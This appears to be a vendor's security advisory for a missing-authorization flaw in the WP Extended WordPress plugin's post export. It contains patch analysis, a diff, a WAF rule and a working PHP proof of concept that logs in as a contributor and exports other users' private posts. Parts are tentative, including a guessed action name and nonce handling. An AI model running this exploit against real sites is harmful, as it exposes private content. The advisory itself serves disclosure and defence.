Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-123481: WP Extended – Modular WordPress Toolkit <= 3.4.2 Missing Authorization PoC, Patch Analysis & Rule

Plugin wpextended
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.4.2
Patched Version 3.4.3
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-123481: The WP Extended – Modular WordPress Toolkit plugin (versions <= 3.4.2) contains a missing authorization vulnerability (CWE-862) that allows authenticated users with contributor-level access and above to export arbitrary posts, including drafts and private posts from other users. The flaw resides in the export-posts module and affects the 'validatePostId' and 'canExportPost' functions. CVSS score is 4.3 (Medium).

Root Cause: In the file `wpextended/modules/export-posts/Module.php`, the vulnerable code path begins around line 501. The export handler extracts `$ids` from the request, applies `validatePostId` to each, and then filters out invalid IDs using `array_filter($ids)`. However, it never verifies that the current user has the capability to export each post. The `canExportPost` function exists but is only called in the CSV generation loop (around line 569) after the initial ID filtering. As a result, a contributor can supply post IDs of posts they do not own, and the plugin will process them. The missing check allows unauthorized access to post data. The patch adds `$ids = array_filter($ids, array($this, 'canExportPost'));` before the empty check, and moves the `canExportPost` check in the loop to before `get_post`.

Exploitation: An authenticated attacker with contributor-level access can send a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to the vulnerable export action (e.g., `action=wpextended_export_posts`) and a parameter containing an array of post IDs (e.g., `ids[]=123`). The attacker can enumerate post IDs to export drafts or private posts belonging to administrators or other users. The attack requires a valid nonce? The diff shows no nonce check, but typically WordPress AJAX handlers include nonce verification. However, the vulnerability is missing capability check, not missing nonce. The attacker can use their own nonce if required, or the endpoint may not require one. The payload would include `export_type` and `ids` array. The response contains the exported data (e.g., CSV) with the sensitive post content.

Patch Analysis: The patch in `Module.php` adds a call to `canExportPost` for each post ID before the empty check. This ensures that only posts the current user is authorized to export are processed. Additionally, in the export data preparation loop, the check is moved before `get_post` to avoid unnecessary database queries for unauthorized posts. The error message is updated to indicate permission issues. The version number is bumped to 3.4.3. The fix enforces capability checks at the point of ID filtering, preventing unauthorized post IDs from being processed.

Impact: Successful exploitation allows a contributor-level user to export arbitrary posts, including unpublished drafts, private posts, and posts from other users. This leads to sensitive information disclosure. The attacker can read content they are not authorized to view, potentially including PII, business secrets, or unpublished announcements. The CVSS score reflects partial confidentiality impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpextended/modules/export-posts/Module.php
+++ b/wpextended/modules/export-posts/Module.php
@@ -501,9 +501,10 @@
         $export_type = sanitize_key($matches[1]);
         $ids = array_map(array($this, 'validatePostId'), $ids);
         $ids = array_filter($ids);
+        $ids = array_filter($ids, array($this, 'canExportPost'));

         if (empty($ids)) {
-            wp_die(esc_html__('No valid post IDs provided.', 'wpextended'));
+            wp_die(esc_html__('Invalid post ID or insufficient permissions.', 'wpextended'));
         }

         $export_data = $this->prepareExportData($ids, $export_type);
@@ -569,12 +570,11 @@
             $body = array();

             foreach ($post_ids as $post_id) {
-                $post = get_post($post_id);
-
-                if (!$post) {
+                if (!$this->canExportPost($post_id)) {
                     continue;
                 }

+                $post = get_post($post_id);
                 $row = array();

                 foreach ($fields as $field => $label) {
--- a/wpextended/wpextended.php
+++ b/wpextended/wpextended.php
@@ -15,7 +15,7 @@
  * Plugin Name:       WP Extended
  * Plugin URI:        https://wpextended.io
  * Description:       WP Extended is a modular plugin designed to enhance the core WordPress experience by adding many of the tools you need without having to install multiple plugins.
- * Version:           3.4.2
+ * Version:           3.4.3
  * Author:            WP Extended
  * Author URI:        https://wpextended.io/
  * License:           GPL-2.0+
@@ -85,7 +85,7 @@
 use WpextendedIncludesDeactivator;
 use WpextendedIncludesWpextended;

-define('WP_EXTENDED_VERSION', '3.4.2');
+define('WP_EXTENDED_VERSION', '3.4.3');
 define('WP_EXTENDED_TEXT_DOMAIN', 'wpextended'); // Deprecated: pass the literal 'wpextended' instead.
 define('WP_EXTENDED_PATH', plugin_dir_path(__FILE__));
 define('WP_EXTENDED_URL', plugin_dir_url(__FILE__));

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-123481
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261234,phase:2,deny,status:403,chain,msg:'CVE-2026-123481 via WP Extended export-posts AJAX',severity:'CRITICAL',tag:'CVE-2026-123481'"
  SecRule ARGS_POST:action "@streq wpextended_export_posts" "chain"
    SecRule ARGS_POST:ids "@rx ^[0-9]+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-123481 - WP Extended – Modular WordPress Toolkit <= 3.4.2 - Missing Authorization

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Password
$post_id_to_export = 1; // ID of post to export (e.g., admin's draft)

// Initialize cURL
$ch = curl_init();

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);

// Step 2: Get a nonce (if required) from admin page
// For simplicity, assume the export action does not require a nonce or we can extract it.
// In a real scenario, you may need to fetch the admin page and parse the nonce.

// Step 3: Send export request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$export_data = array(
    'action' => 'wpextended_export_posts', // Adjust action name based on plugin code
    'export_type' => 'csv',
    'ids' => array($post_id_to_export) // Array of post IDs
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($export_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

// Step 4: Output response (should contain exported post data)
echo $response;

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.